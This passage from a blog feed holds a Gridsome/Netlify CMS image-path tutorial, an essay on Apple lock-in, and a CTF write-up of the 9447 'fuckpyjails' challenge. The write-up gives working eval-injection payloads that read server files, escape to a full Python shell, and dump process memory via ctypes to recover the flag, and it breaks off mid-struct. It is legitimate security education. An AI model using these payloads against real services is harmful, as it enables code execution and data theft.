    <span class="token key atrule">slug</span><span class="token punctuation">:</span> <span class="token string">'{{slug}}'</span>
    <span class="token key atrule">fields</span><span class="token punctuation">:</span>
      <span class="token punctuation">-</span> <span class="token punctuation">{</span><span class="token key atrule">label</span><span class="token punctuation">:</span> <span class="token string">'Title'</span><span class="token punctuation">,</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'title'</span><span class="token punctuation">,</span> <span class="token key atrule">widget</span><span class="token punctuation">:</span> <span class="token string">'string'</span><span class="token punctuation">}</span>
      <span class="token punctuation">-</span> <span class="token punctuation">{</span><span class="token key atrule">label</span><span class="token punctuation">:</span> <span class="token string">'Cover'</span><span class="token punctuation">,</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'cover_image'</span><span class="token punctuation">,</span> <span class="token key atrule">widget</span><span class="token punctuation">:</span> <span class="token string">'image'</span><span class="token punctuation">}</span>
      <span class="token punctuation">-</span> <span class="token punctuation">{</span><span class="token key atrule">label</span><span class="token punctuation">:</span> <span class="token string">'Body'</span><span class="token punctuation">,</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> <span class="token string">'body'</span><span class="token punctuation">,</span> <span class="token key atrule">widget</span><span class="token punctuation">:</span> <span class="token string">'markdown'</span><span class="token punctuation">}</span></code></pre>
<p>Now let us create a simple post with some images by adding the following
markdown file to the <code>posts</code> directory:</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token punctuation">---</span>
<span class="token key atrule">title</span><span class="token punctuation">:</span> A post with a cover image
<span class="token key atrule">date</span><span class="token punctuation">:</span> <span class="token datetime number">2019-07-09</span>
<span class="token key atrule">published</span><span class="token punctuation">:</span> <span class="token boolean important">true</span>
<span class="token key atrule">cover_image</span><span class="token punctuation">:</span> ./images/cover_image.jpg
<span class="token punctuation">---</span>
My first post \o/

<span class="token tag">![Image](./images/other_image.jpg)</span></code></pre>
<h2 id="the-problem">The problem<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-problem"><span class="icon icon-link"></span></a></h2>
<p>Gridsome interprets the paths as relative with respect to the
post file location. Assuming the images exist in <code>posts/images</code> the post would
look perfect on your blog.</p>
<p>Unfortunately though Netlify CMS fails to load the images in its UI. Apparently
it treats paths starting with <code>./</code> as absolute. Therefore, it will look
for our images in <code>https://example.com/images/</code>.</p>
<p>If we manually change our paths and remove the <code>./</code>, Netlify CMS will look
for them inside the <code>public_folder</code>. However, Gridsome still expects them
inside <code>posts/images</code>.</p>
<p>Finally if we upload a new image from the UI and try to insert it in a post,
Netlify CMS will use an absolute path, i.e.
<code>![Image](/uploads/other_image.jpg)</code>. At first glance, using absolute paths
seems to work
flawlessly both in the UI and with Gridsome. There is only a <em>minor catch</em>:
the images will not be optimized by Gridsome anymore.</p>
<p>Considering that <a href="https://gridsome.org/docs/fast-by-default#progressive-images">progressive images</a> are one of the major selling points of
Gridsome, I am not satisfied with this solution.</p>
<h2 id="the-solution">The solution<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-solution"><span class="icon icon-link"></span></a></h2>
<p>I tried to look for ways to fix this problem, and found <a href="https://github.com/gridsome/gridsome/issues/285">many</a>
<a href="https://github.com/gridsome/gridsome-starter-blog/issues/8">related</a> <a href="https://github.com/gridsome/gridsome-starter-blog/issues/14">issues</a> but no
convincing solution. So, I tried to roll my own and made
<a href="https://github.com/tyrion/gridsome-plugin-netlify-cms-paths"><code>gridsome-plugin-netlify-cms-paths</code></a>.</p>
<p>The code is very simple and could certainly be improved a lot. Feel free
to head over to the <a href="https://github.com/tyrion/gridsome-plugin-netlify-cms-paths">repository</a> and submit a pull request.
All contributions are very welcome!</p>
<p>In order to use it, just add it to your project with yarn/npm:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">yarn</span> <span class="token function">add</span> gridsome-plugin-netlify-cms-paths</code></pre>
<p>And configure it in your <code>gridsome.config.js</code>. For example, assuming you have
this fairly standard configuration:</p>
<pre class="language-javascript"><code class="language-javascript">module<span class="token punctuation">.</span><span class="token property-access">exports</span> <span class="token operator">=</span> <span class="token punctuation">{</span>
  <span class="token comment">// ...</span>
  plugins<span class="token operator">:</span> <span class="token punctuation">[</span>
    <span class="token punctuation">{</span>
      use<span class="token operator">:</span> <span class="token string">'@gridsome/source-filesystem'</span><span class="token punctuation">,</span>
      options<span class="token operator">:</span> <span class="token punctuation">{</span>
        typeName<span class="token operator">:</span> <span class="token string">'Post'</span><span class="token punctuation">,</span>
        path<span class="token operator">:</span> <span class="token string">'posts/*.md'</span><span class="token punctuation">,</span>
        route<span class="token operator">:</span> <span class="token string">'/:slug'</span><span class="token punctuation">,</span>
      <span class="token punctuation">}</span>
    <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token punctuation">{</span> use<span class="token operator">:</span> <span class="token string">'gridsome-plugin-netlify-cms'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>
  <span class="token punctuation">]</span><span class="token punctuation">,</span>

  transformers<span class="token operator">:</span> <span class="token punctuation">{</span>
    remark<span class="token operator">:</span> <span class="token punctuation">{</span>
      plugins<span class="token operator">:</span> <span class="token punctuation">[</span>
        <span class="token string">'@gridsome/remark-prismjs'</span>
      <span class="token punctuation">]</span>
    <span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span></code></pre>
<p>You would need to add the following plugin definition:</p>
<pre class="language-javascript"><code class="language-javascript">use<span class="token operator">:</span> <span class="token string">'gridsome-plugin-netlify-cms-paths'</span><span class="token punctuation">,</span>
options<span class="token operator">:</span> <span class="token punctuation">{</span> contentTypes<span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">'Post'</span><span class="token punctuation">]</span> <span class="token punctuation">}</span></code></pre>
<p>Then you need to move all your images to <code>media_folder</code>. Assuming your Netlify
CMS <code>config.yml</code> is set up like shown above, this would be <code>static/uploads</code>. </p>
<h2 id="the-details">The details<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-details"><span class="icon icon-link"></span></a></h2>
<p>The plugin takes care of transforming two kinds of paths by ensuring they start
with <code>media_folder</code>:</p>
<ul>
<li>Relative paths not starting with <code>./</code> (i.e. <code>path/to/image1.jpg</code>)</li>
<li>Absolute paths starting with <code>public_folder</code> (i.e. <code>/uploads/image2.jpg</code>)</li>
</ul>
<p>For example, with the <code>config.yml</code> we showed above, we would have the following
transformations:</p>
<ul>
<li><code>path/to/image1.jpg</code> to <code>/static/uploads/path/to/image1.jpg</code></li>
<li><code>/uploads/image2.jpg</code> to <code>/static/uploads/image2.jpg</code></li>
</ul>
<p><em>Note that you still need to move all your images to <code>media_folder</code> in order for
this to work.</em></p>
<p>Having your images inside <code>static/</code> enables Netlify CMS
to find them at <code>public_folder</code> and at the same time does not prevent Gridsome
to optimize them.</p>
<p>The plugin fixes the image paths it finds inside the <em>body</em> of your markdown
files. However, it can be configured to also fix a <em>cover image</em> field inside the
frontmatter of your posts, using the <code>coverField</code> option:</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token punctuation">{</span>
  use<span class="token operator">:</span> <span class="token string">'gridsome-plugin-netlify-cms-paths'</span><span class="token punctuation">,</span>
  options<span class="token operator">:</span> <span class="token punctuation">{</span>
    contentTypes<span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">'Post'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
    coverField<span class="token operator">:</span> <span class="token string">'cover_image'</span>
  <span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p><strong>Congrats!</strong> You now have images working both on Gridsome and Netlify CMS,
without sacrificing any optimization.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Be angry with yourself, not Apple]]></title>
            <link>https://germano.dev/macbook/</link>
            <guid>https://germano.dev/macbook/</guid>
            <pubDate>Sun, 30 Oct 2016 00:00:00 GMT</pubDate>
            <description><![CDATA[Why you have no right to complain about the new MacBook]]></description>
            <content:encoded><![CDATA[<p>Recentely Apple released its new MacBook Pro and we all have been flooded with
posts and comments by angry developers explaining why it sucks and why they
won’t be able to upgrade.</p>
<p>These are some of the top results obtained by <a href="https://hn.algolia.com/?query=macbook&#x26;sort=byPopularity&#x26;prefix&#x26;page=0&#x26;dateRange=pastMonth&#x26;type=story">searching “macbook” on Hacker News</a>:</p>
<ul>
<li><a href="https://blog.devteam.space/new-macbook-pro-is-not-a-laptop-for-developers-anymore-d0d4b1b8b7de#.mizzf9989">New MacBook Pro Is Not a Laptop for Developers Anymore</a></li>
<li><a href="https://news.ycombinator.com/item?id=12820778">Ask HN: Is Dell XPS Developer Edition a Good Replacement of Macbook Pro?</a></li>
<li><a href="https://techcrunch.com/2016/10/27/apples-new-macbook-pro-just-killed-off-most-of-the-ports-you-probably-need/">Apple’s new MacBook Pro kills off most of the ports you probably need</a></li>
<li><a href="https://news.ycombinator.com/item?id=12815183">Ask HN: What laptop should I get instead of a Macbook Pro?</a></li>
<li><a href="http://www.theverge.com/2016/10/27/13441150/rip-magsafe-apple-macbook-pro-charging-cable-usb-c">Apple is killing off MagSafe, one of the MacBook’s best features</a></li>
<li><a href="https://news.ycombinator.com/item?id=12808894">Ask HN: Would You Upgrade to the New MacBook Pro?</a></li>
<li><a href="https://medium.com/@trentlapinski/wtf-is-apple-thinking-with-the-new-macbook-pro-and-touch-bar-a9a094af1e0b#.xf3x89oxd">WTF Is Apple Thinking with the New MacBook Pro and Touch Bar?</a></li>
</ul>
<p>Among these developers, some of the most enraged are planning to switch or to go
back to a GNU/Linux distribution.</p>
<h2 id="all-these-people-are-angry-with-apple-but-they-should-be-angry-mostly-with-themselves">All these people are angry with Apple, but they should be angry mostly with themselves.<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#all-these-people-are-angry-with-apple-but-they-should-be-angry-mostly-with-themselves"><span class="icon icon-link"></span></a></h2>
<p>They spent an enormous amount of their time to learn and use the proprietary
OS they bought and to master all its cool and expensive apps, which work perfectly, without realizing
the dependence they were developing.
They became addicted to Apple’s products and its ecosystem, simply because maybe
they used it for 10 years or more.</p>
<p>Therefore what happens when the new CEO decides something that you don’t agree with?
When they release a new product that you don’t like, because they removed the Escape
key? <em>Nothing.</em> You are in deep trouble. You start complaining. No alternatives. Either you accept
their word or you are out.</p>
<p>It is quite useless to get mad and criticize Apple the first time you don’t
like their decisions, when throughout the years you always loved and supported them.
When you realize that <em>you are no more a customer but the product</em>, since the cost
to switch to something else became so high you have to accept their every decision.
When you have no voice and your complaints are useless.</p>
<p>I think you should ask yourself if having the best products was worth the lock in.</p>
<h2 id="the-moral-case-for-freedom-in-software">The moral case for Freedom in Software<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-moral-case-for-freedom-in-software"><span class="icon icon-link"></span></a></h2>
<p>There is one last thing that I would like to point out in this story.</p>
<p>To all the people who are willing or thinking to switch to GNU/Linux, because
they do not want to upgrade their MacBook, I would like to ask: What would have
happened if <em>everybody</em> acted like you and switched to Apple?
Would you still have a good distro to use right now?</p>
<p>Well I don’t think so.
We would <em>all</em> be in deep trouble. Therefore I feel like it is almost morally
mandatory to continue to use GNU/Linux, otherwise in the long run we will
all lose our <em>freedom</em> to choose.</p>
<h2 id="apples-philosophy">Apple’s philosophy<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#apples-philosophy"><span class="icon icon-link"></span></a></h2>
<p>I do not buy nor use Apple’s products because I do not approve their philosophy.
Their philosophy is to believe they know better than me what is good and better
for me without giving me the chance to choose or opt-out.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuckpyjails Writeup]]></title>
            <link>https://germano.dev/fuckpyjails/</link>
            <guid>https://germano.dev/fuckpyjails/</guid>
            <pubDate>Tue, 02 Dec 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Remote Code Execution As A Service — 9447 CTF]]></description>
            <content:encoded><![CDATA[<section>
<h2 id="try-this-at-home">Try this at home<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#try-this-at-home"><span class="icon icon-link"></span></a></h2>
<p>Before reading the writeup you may want to attemp to solve the challenge youself. I wrote a <a href="https://gist.github.com/tyrion/af2d0a16e2699468228f">replacement of the server in Python</a> so you can still try to solve this challenge even if the original server is not live anymore.</p>
<p><strong>Warning:</strong> if you want to solve the challenge do not cheat by reading the gist code! Just download both files and run <code>python keyserver.py</code> and then <code>python fuckpyjails.py</code>.</p>
</section>
<section>
<h2 id="how-the-hanoiati-team-solved-it">How the hanoiati team solved it<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#how-the-hanoiati-team-solved-it"><span class="icon icon-link"></span></a></h2>
<p>Trying to connect to the specified address you get something that looks like a Python prompt:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> True
Fail<span class="token operator">!</span></code></pre>
<p>If you insert a python expression it seems to just fail. But if we try to input some python statements this is what we get:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> print<span class="token punctuation">(</span><span class="token string">'hello'</span><span class="token punctuation">)</span>
Traceback <span class="token punctuation">(</span>most recent call last<span class="token punctuation">)</span>:
  File <span class="token string">"/home/ctf/fuckpyjails.py"</span>, line <span class="token number">18</span>, <span class="token keyword">in</span> <span class="token operator">&#x3C;</span>module<span class="token operator">></span>
    <span class="token keyword">if</span> get_key<span class="token punctuation">(</span><span class="token punctuation">)</span> is eval<span class="token punctuation">(</span>raw_input<span class="token punctuation">(</span><span class="token punctuation">))</span>:
  File <span class="token string">"&#x3C;string>"</span>, line <span class="token number">1</span>, <span class="token keyword">in</span> <span class="token operator">&#x3C;</span>module<span class="token operator">></span>
    print<span class="token punctuation">(</span><span class="token string">'hello'</span><span class="token punctuation">)</span>
        ^
SyntaxError: invalid syntax</code></pre>
<p>From this we gain a couple of interesting informations:</p>
<ul>
<li>Our input is passed to <code>eval</code></li>
<li>It seems that we have to get a key in order to make the if statement succeed and hopefully give us the flag</li>
<li>The source code of the jail is at <code>/home/ctf/fuckpyjails.py</code></li>
</ul>
<p>The print failed because in Python 2.x print is a statement and eval does not allow execution of arbitrary Python code, but only expressions. From this we can conclude that the jail is not running on Python3.</p>
<p>The most obvious thing to try of course doesn’t work:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> get_key<span class="token punctuation">(</span><span class="token punctuation">)</span>
Fail<span class="token operator">!</span></code></pre>
<p>Now this is strange! We should find a way to see the output of <code>get_key</code> to understand what is going on.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> __import__<span class="token punctuation">(</span><span class="token string">'sys'</span><span class="token punctuation">)</span>.stdout.write<span class="token punctuation">(</span>get_key<span class="token punctuation">(</span><span class="token punctuation">))</span>
I already sent you the key, stupid<span class="token operator">!</span>Fail<span class="token operator">!</span></code></pre>
<p>Ok, the server says that we are stupid :S</p>
<p>Let’s see if can understand what is happening by looking at the source code of the jail:</p>
<pre class="language-python"><code class="language-python">$ nc fuckpyjails<span class="token punctuation">.</span><span class="token number">9447.</span>plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token builtin">__import__</span><span class="token punctuation">(</span><span class="token string">'sys'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/home/ctf/fuckpyjails.py'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token comment">#!/usr/bin/env python</span>
<span class="token keyword">import</span> sys
<span class="token keyword">import</span> socket
<span class="token keyword">import</span> resource

resource<span class="token punctuation">.</span>setrlimit<span class="token punctuation">(</span>resource<span class="token punctuation">.</span>RLIMIT_NPROC<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">get_key</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
  s <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>AF_UNIX<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SOCK_STREAM<span class="token punctuation">)</span>
  s<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token string">"/tmp/keyserver"</span><span class="token punctuation">)</span>
  r <span class="token operator">=</span> s<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">64</span><span class="token punctuation">)</span>
  s<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
  <span class="token keyword">return</span> r

sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">">>> "</span><span class="token punctuation">)</span>
sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> get_key<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">is</span> <span class="token builtin">eval</span><span class="token punctuation">(</span><span class="token builtin">raw_input</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
  <span class="token keyword">print</span> <span class="token string">"Did you get the key?"</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
  <span class="token keyword">print</span> <span class="token string">"Fail!"</span>
Fail!</code></pre>
<p>Great we have the code!</p>
<p>The good news is that we finally understand why <code>get_key</code> was insulting us: it connects to a socket and returns the correct value only the first time.</p>
<p>The really bad news is that we don’t have to make just the <code>if</code> succeed, but we have to find the actual value of <code>get_key</code> the first time that it was executed!</p>
<p>We have to get that value from the Python stack. It doesn’t seem too hard to do since there are some pretty powerful modules like <code>inspect</code> and <code>gc</code>.</p>
<p>Before trying to solve the actual challenge though, the first thing I tried to do was getting a full interpreter, because being allowed to enter only one-line expressions gets frustrating pretty quickly.</p>
<p>After a few tries with the <code>code</code> module I ended up with this:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token punctuation">(</span>lambda code, sys: <span class="token variable"><span class="token punctuation">((</span>setattr<span class="token punctuation">(</span>code.InteractiveConsole<span class="token punctuation">,</span> 'runcode'<span class="token punctuation">,</span> lambda self<span class="token punctuation">,</span> cod<span class="token operator">:</span> <span class="token punctuation">(</span>code.InteractiveInterpreter.runcode<span class="token punctuation">(</span>self<span class="token punctuation">,</span> cod<span class="token punctuation">)</span><span class="token punctuation">,</span> sys.stdout.flush<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> sys.stderr.flush<span class="token punctuation">(</span><span class="token punctuation">))</span></span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>, code.InteractiveConsole<span class="token punctuation">(</span>globals<span class="token punctuation">(</span><span class="token punctuation">))</span>.interact<span class="token punctuation">(</span><span class="token punctuation">))</span><span class="token punctuation">))</span><span class="token punctuation">(</span>__import__<span class="token punctuation">(</span><span class="token string">'code'</span><span class="token punctuation">)</span>, __import__<span class="token punctuation">(</span><span class="token string">'sys'</span><span class="token punctuation">))</span>
Python <span class="token number">2.7</span>.6 <span class="token punctuation">(</span>default, Mar <span class="token number">22</span> <span class="token number">2014</span>, <span class="token number">22</span>:59:56<span class="token punctuation">)</span>
<span class="token punctuation">[</span>GCC <span class="token number">4.8</span>.2<span class="token punctuation">]</span> on linux2
Type <span class="token string">"help"</span>, <span class="token string">"copyright"</span>, <span class="token string">"credits"</span> or <span class="token string">"license"</span> <span class="token keyword">for</span> <span class="token function">more</span> information.
<span class="token punctuation">(</span>InteractiveConsole<span class="token punctuation">)</span>
<span class="token operator">>></span><span class="token operator">></span> print <span class="token string">'Yeah!'</span>
Yeah<span class="token operator">!</span>
<span class="token operator">>></span><span class="token operator">></span></code></pre>
<p>I had to patch the <code>runcode</code> method to flush the output, otherwise I wouldn’t receive anything from the server until I disconnect.</p>
<p>The unobfuscated code is this:</p>
<pre class="language-python"><code class="language-python"><span class="token punctuation">(</span><span class="token keyword">lambda</span> code<span class="token punctuation">:</span> <span class="token punctuation">(</span>
    <span class="token builtin">setattr</span><span class="token punctuation">(</span>code<span class="token punctuation">.</span>InteractiveConsole<span class="token punctuation">,</span> <span class="token string">'runcode'</span><span class="token punctuation">,</span>
        <span class="token keyword">lambda</span> self<span class="token punctuation">,</span> cod<span class="token punctuation">:</span>
            <span class="token punctuation">(</span>code<span class="token punctuation">.</span>InteractiveInterpreter<span class="token punctuation">.</span>runcode<span class="token punctuation">(</span>self<span class="token punctuation">,</span> cod<span class="token punctuation">)</span><span class="token punctuation">,</span>
             sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
             sys<span class="token punctuation">.</span>stderr<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>
    <span class="token punctuation">)</span><span class="token punctuation">,</span>
    code<span class="token punctuation">.</span>InteractiveConsole<span class="token punctuation">(</span><span class="token builtin">globals</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>interact<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token builtin">__import__</span><span class="token punctuation">(</span><span class="token string">'code'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre>
</section>
<section>
<h2 id="solving-the-challenge">Solving the challenge<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#solving-the-challenge"><span class="icon icon-link"></span></a></h2>
<p>Now that we can execute any Python code, we can start having some fun (at least we thought).</p>
<p>This is the things we tried that dind’t work:</p>
<ul>
<li>Looking for the flag in the file system with <code>os.listdir</code>.</li>
<li>Spawning other processes with <code>os.system</code>.</li>
<li>Using the <a href="https://docs.python.org/2/library/gc.html">gc module</a> to find a reference to the flag.</li>
<li>Using the <a href="https://docs.python.org/2/library/inspect.html">inspect module</a> to find the flag on the stack.</li>
</ul>
<p>The main problem is that the flag is not assigned to any variable, this is why the last two methods dind’t work!</p>
<p>The only thing left to do was to access the raw memory of the Python process using libc (through <a href="https://docs.python.org/2/library/ctypes.html">ctypes</a>) and look there.</p>
<p>Ok but where is the flag? We allocated an other string, got its memory address and started looking around. After a few tries here it is:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'(lambda c: (lambda libc: libc.write(1, c.c_char_p(id('</span>ciao<span class="token string">') - 5024),1024*1024*2))(c.cdll.LoadLibrary('</span>libc.so.6<span class="token string">')))(__import__('</span>ctypes<span class="token string">'))'</span> <span class="token operator">|</span>  <span class="token function">nc</span> fuckpyjails.9447.plumbing <span class="token number">9447</span> <span class="token operator">|</span> strings <span class="token operator">|</span> <span class="token function">grep</span> <span class="token number">9447</span>
<span class="token number">9447</span><span class="token punctuation">{</span>seriously_eval_is_lame<span class="token punctuation">}</span></code></pre>
<p>And here is the human readable version:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> ctypes
libc <span class="token operator">=</span> ctypes<span class="token punctuation">.</span>cdll<span class="token punctuation">.</span>LoadLibrary<span class="token punctuation">(</span><span class="token string">'libc.so.6'</span><span class="token punctuation">)</span>

<span class="token comment"># You may want to try with different offset values if 5024 doesn't work</span>
addr <span class="token operator">=</span> ctypes<span class="token punctuation">.</span>c_char_p<span class="token punctuation">(</span><span class="token builtin">id</span><span class="token punctuation">(</span><span class="token string">'ciao'</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">5024</span><span class="token punctuation">)</span>

libc<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> addr<span class="token punctuation">,</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span></code></pre>
</section>
<section>
<h2 id="an-other-more-elaborate-solution">An other, more elaborate, solution<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#an-other-more-elaborate-solution"><span class="icon icon-link"></span></a></h2>
<p>Here I present an other solution, inspired by <a href="https://ucs.fbi.h-da.de/writeup-9447-fuckpyjails/">this writeup</a> that does not involve using libc, but requires that you know a little bit of how CPython works internally.</p>
<p>Instead of just dumping the process memory and searching for the flag, like our team did, you can directly get the solution if you know exactly where to look for.</p>
<p>Let’s get a full Python shell using the code I showed above, and try looking at the stack:</p>
<pre class="language-pycon"><code class="language-pycon">$ nc fuckpyjails.9447.plumbing 9447
>>> (lambda code, sys: ((setattr(code.InteractiveConsole, 'runcode', lambda self, cod: (code.InteractiveInterpreter.runcode(self, cod), sys.stdout.flush(), sys.stderr.flush())[0]), code.InteractiveConsole(globals()).interact())))(__import__('code'), __import__('sys'))
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> import inspect
>>> import pprint
>>> pprint.pprint(inspect.stack(), width=200)
[(, '<console>', 1, '<module>', None, None),
 (, '/usr/lib/python2.7/code.py', 103, 'runcode', ['            exec code in self.locals\n'], 0),
 (, '<string>', 1, '<lambda>', None, None),
 (, '/usr/lib/python2.7/code.py', 87, 'runsource', ['        self.runcode(code)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 265, 'push', ['        more = self.runsource(source, self.filename)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 243, 'interact', ['                    more = self.push(line)\n'], 0),
 (, '<string>', 1, '<lambda>', None, None),
 (, '<string>', 1, '<module>', None, None),
 (, 'fuckpyjails.py', 18, '<module>', ['if get_key() is eval(raw_input()):\n'], 0)]</module></module></string></lambda></string></lambda></string></module></console></code></pre>
<p>The last one seems the one we are looking for. We can get the corresponding frame object and browse it’s attributes{% sidenote frame You can look at the <a href="https://docs.python.org/2/library/inspect.html#types-and-members">documentation of the frame object</a> to understand what those attributes are. %}:</p>
<pre class="language-python"><code class="language-python"><span class="token operator">>></span><span class="token operator">></span> f <span class="token operator">=</span> inspect<span class="token punctuation">.</span>stack<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token builtin">dir</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span>
<span class="token punctuation">[</span><span class="token string">'__class__'</span><span class="token punctuation">,</span> <span class="token string">'__delattr__'</span><span class="token punctuation">,</span> <span class="token string">'__doc__'</span><span class="token punctuation">,</span> <span class="token string">'__format__'</span><span class="token punctuation">,</span> <span class="token string">'__getattribute__'</span><span class="token punctuation">,</span>
<span class="token string">'__hash__'</span><span class="token punctuation">,</span> <span class="token string">'__init__'</span><span class="token punctuation">,</span> <span class="token string">'__new__'</span><span class="token punctuation">,</span> <span class="token string">'__reduce__'</span><span class="token punctuation">,</span> <span class="token string">'__reduce_ex__'</span><span class="token punctuation">,</span> <span class="token string">'__repr__'</span><span class="token punctuation">,</span>
<span class="token string">'__setattr__'</span><span class="token punctuation">,</span> <span class="token string">'__sizeof__'</span><span class="token punctuation">,</span> <span class="token string">'__str__'</span><span class="token punctuation">,</span> <span class="token string">'__subclasshook__'</span><span class="token punctuation">,</span> <span class="token string">'f_back'</span><span class="token punctuation">,</span>
<span class="token string">'f_builtins'</span><span class="token punctuation">,</span> <span class="token string">'f_code'</span><span class="token punctuation">,</span> <span class="token string">'f_exc_traceback'</span><span class="token punctuation">,</span> <span class="token string">'f_exc_type'</span><span class="token punctuation">,</span> <span class="token string">'f_exc_value'</span><span class="token punctuation">,</span>
<span class="token string">'f_globals'</span><span class="token punctuation">,</span> <span class="token string">'f_lasti'</span><span class="token punctuation">,</span> <span class="token string">'f_lineno'</span><span class="token punctuation">,</span> <span class="token string">'f_locals'</span><span class="token punctuation">,</span> <span class="token string">'f_restricted'</span><span class="token punctuation">,</span> <span class="token string">'f_trace'</span><span class="token punctuation">]</span></code></pre>
<p>Unfortunately our flag is not there since it has not be assigned to a variable.</p>
<p>But it’s not over jet. We can look at the structure of the underlying C frame object (i.e. <code>PyFrameObject</code>). As a quick search on github reveals <a href="https://github.com/python/cpython/blob/2.7/Include/frameobject.h">frameobject.h</a> is the file that contains the definition:</p>
<pre class="language-c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">_frame</span> <span class="token punctuation">{</span>
    PyObject_VAR_HEAD
    <span class="token keyword">struct</span> <span class="token class-name">_frame</span> <span class="token operator">*</span>f_back<span class="token punctuation">;</span>  <span class="token comment">/* previous frame, or NULL */</span>
    PyCodeObject <span class="token operator">*</span>f_code<span class="token punctuation">;</span>   <span class="token comment">/* code segment */</span>
    PyObject <span class="token operator">*</span>f_builtins<span class="token punctuation">;</span>   <span class="token comment">/* builtin symbol table (PyDictObject) */</span>
